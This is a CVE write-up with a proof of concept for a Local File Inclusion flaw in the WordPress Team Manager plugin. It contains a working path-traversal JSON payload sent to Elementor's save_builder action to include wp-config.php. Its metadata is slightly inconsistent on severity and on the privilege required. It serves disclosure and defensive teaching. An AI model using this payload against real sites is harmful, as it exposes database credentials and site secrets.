CVE-2025-30868 Analysis & POC

1 CVE & Basic Info
The Team Manager plugin version ≤ 2.1.23 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require
, enabling inclusion or reading of local files on the server (e.g., configuration files containing credentials), leading to leakage of sensitive information and, in some server configurations, possible code execution.
- CVE ID: CVE-2025-30868
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 2.1.23
- Patched Versions: 2.2.0
- CVSS severity: Low (7.5)
- Required Privilege: Contributor
- Product: WordPress Team Manager Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - Team Manager: 2.1.23 (vulnerable) and 2.2.0 (patched).
- Diff tool - Meld or any diff tool to compare differences between versions.
- Elementor plugin
3 Analysis
3.1 Patch diff
Vulnerable code:
public static function renderElementorLayout(string $layout, array $data, array $settings): void
{
$styleTypeKey = "{$layout}_style_type";
$styleType = stripslashes($settings[$styleTypeKey]);
$path = stripslashes(TM_PATH . '/public/templates/elementor/layouts/' . $layout . '/');
$templateName = sanitize_file_name( $styleType . '.php' );
//allowed file type
$allowedFileTypes = [
'php'
];
$ext = pathinfo($path . $templateName, PATHINFO_EXTENSION);
if (in_array($ext, $allowedFileTypes)) {
if (file_exists($path . $templateName)) {
include self::locateTemplate($templateName, '', $path);
}
}
}
private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
$templatePath = $templatePath ?: 'public/templates';
$defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';
$template = locate_template(trailingslashit($templatePath) . $templateName);
return $template ?: "{$defaultPath}{$templateName}";
}
In the vulnerable version, renderElementorLayout()
does not validate input values. An attacker can bypass the logic if they control $layout
and $settings
, for example:
In renderElementorLayout()
:
$layout = "../../../../../../.."
$settings['../../../../../../.._style_type'] = "wp-config"
Then:
$styleType = 'wp-config'
$path = TM_PATH . '/public/templates/elementor/layouts/../../../../../../../'
$templateName = wp-config.php
$path . $templateName = TM_PATH . '/public/templates/elementor/layouts/../../../../../../../wp-config.php'

Debugger values of variables
After passing the if
checks, the code includes the return value of locateTemplate(wp-config.php, '', TM_PATH . '/public/templates/elementor/layouts/../../../../../../../')
:
private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
$templatePath = $templatePath ?: 'public/templates';
$defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';
$template = locate_template(trailingslashit($templatePath) . $templateName);
return $template ?: "{$defaultPath}{$templateName}";
}
At this point:
$templatePath = public/templates
$defaultPath = TM_PATH . '/public/templates/elementor/layouts/../../../../../../../'
$locate_template = locate_template('public/templates/wp-config.php') = ""
— locate_template() returns the absolute path if found, otherwise returns an empty string""
.- When
$locate_template
is empty, it returnsTM_PATH . '/public/templates/elementor/layouts/../../../../../../../wp-config.php'
toinclude
.
Patched code:
public static function renderElementorLayout(string $layout, array $data, array $settings): void
{
$allowedLayouts = ['grid', 'list', 'slider', 'table', 'isotope']; // Allowed layouts
if (!in_array($layout, $allowedLayouts, true)) {
wp_die(__('Invalid layout.', 'wp-team-manager'));
}
$styleTypeKey = "{$layout}_style_type";
$styleType = $settings[$styleTypeKey] ?? '';
// Ensure only safe characters (alphanumeric + underscores)
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $styleType)) {
wp_die(__('Invalid style type.', 'wp-team-manager'));
}
// Ensure constants exist before using them
if (!defined('TM_PATH')) {
wp_die(__('TM_PATH is not defined.', 'wp-team-manager'));
}
// Define Free path (always available)
$basePath = realpath(TM_PATH . '/public/templates/elementor/layouts/');
// Define Pro path if available
$proPath = defined('TM_PRO_PATH') ? realpath(TM_PRO_PATH . '/public/templates/elementor/layouts/') : null;
// Ensure the free path is valid
if (!$basePath) {
wp_die(__('Invalid base template path.', 'wp-team-manager'));
}
$templateName = sanitize_file_name($styleType . '.php');
// Define possible template paths (Pro first, then Free)
$proFullPath = $proPath ? $proPath . '/' . $layout . '/' . $templateName : null;
$freeFullPath = $basePath . '/' . $layout . '/' . $templateName;
// Check if Pro template exists and is readable
if ($proFullPath && is_readable($proFullPath) && strpos(realpath($proFullPath), $proPath) === 0) {
include $proFullPath;
return;
}
// Check if Free template exists and is readable
if (is_readable($freeFullPath) && strpos(realpath($freeFullPath), $basePath) === 0) {
include $freeFullPath;
return;
}
// If neither file is found, show an error
wp_die(__('Template not found or invalid file.', 'wp-team-manager'));
}
private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
// Ensure template name is safe (allow only alphanumeric, dashes, and underscores)
if (!preg_match('/^[a-zA-Z0-9_-]+\.php$/', $templateName)) {
die('Invalid template name.');
}
$templatePath = $templatePath ?: 'public/templates';
$defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';
// Ensure paths are properly resolved
$resolvedDefaultPath = realpath($defaultPath);
$resolvedTemplatePath = realpath(trailingslashit($templatePath));
// Validate resolved paths
if (!$resolvedDefaultPath || strpos($resolvedDefaultPath, realpath(TM_PATH . '/public/templates/')) !== 0) {
die('Invalid default path.');
}
if ($resolvedTemplatePath && strpos($resolvedTemplatePath, realpath(TM_PATH . '/public/templates/')) === 0) {
$template = locate_template($resolvedTemplatePath . '/' . $templateName);
if ($template && file_exists($template)) {
return $template;
}
}
// Build the final safe path
$finalPath = $resolvedDefaultPath . '/' . $templateName;
// Ensure the final path is within the allowed directory
if (file_exists($finalPath) && strpos(realpath($finalPath), $resolvedDefaultPath) === 0) {
return $finalPath;
}
die('Template not found or invalid.');
}
The patch applies strict input validation, absolute path checks, and limits allowed layouts, effectively removing the ability to include files outside the permitted scope — mitigating Local File Inclusion (LFI).
3.2 Vulnerable Code
The word Elementor in the function name renderElementorLayout()
refers to the Elementor plugin in WordPress, used to build post content.
When editing a post that contains this Team Manager widget or when opening a saved post, renderElementorLayout()
will be invoked.

Plugin element in Elementor
Capture the edit request with BurpSuite:

Key settings in the request
We observe a settings
key containing layout_type
and {layout_type_value}_style_type
keys corresponding to the analyzed code:
$styleTypeKey = "{$layout}_style_type";
$styleType = stripslashes($settings[$styleTypeKey]);
👉 These values are controllable.
4 Exploit
4.1 Proof of Concept (PoC)
4.1.1 Step 1
Create a new team at endpoint: wp-admin/post-new.php?post_type=team_manager
because a new team provides values to add to the Team Manager widget layout.
4.1.2 Step 2
Create a post using Elementor and add the Team Manager widget.

Add the Team Manager widget to a post
4.1.3 Step 3
Submit, capture the request with BurpSuite and send it to Repeater
4.1.4 Step 4
Modify the action
parameter’s value in the request using the Inspector and resend the payload
{
"save_builder": {
"action": "save_builder",
"data": {
"status": "pending",
"elements": [
{
"id": "e9249f1",
"elType": "container",
"isInner": false,
"isLocked": false,
"settings": {},
"elements": [
{
"id": "3e7c95b",
"elType": "widget",
"isInner": false,
"isLocked": false,
"settings": {
"layout_type": "../../../../../../..",
"../../../../../../.._style_type": "wp-config"
},
"elements": [],
"widgetType": "wtm-team-manager"
}
]
},
{
"id": "b132b28",
"elType": "container",
"isInner": false,
"isLocked": false,
"settings": {},
"elements": []
}
],
"settings": {
"post_title": "Team",
"post_status": "pending"
}
}
}
}
Result:
The debugger jumped to wp-config.php

Successful LFI result
5 Conclusion
CVE-2025-30868 is an LFI in Team Manager ≤2.1.23: renderElementorLayout()
fails to validate $layout
/$settings
, allowing path traversal and include()
of arbitrary files. Patched in v2.2.0 using whitelist, regex checks, and realpath()
verification.
6 Key takeaways
- Do not use raw input to build
include
paths. - Use a whitelist for layouts/templates.
- Sanitize filenames + use
realpath()
+is_readable()
before including. - For public endpoints: enforce server-side input controls — nonce alone is not sufficient.
7 References
File Inclusion/Path traversal — Hacktrick
WordPress Team Manager Plugin <= 2.1.23 is vulnerable to Local File Inclusion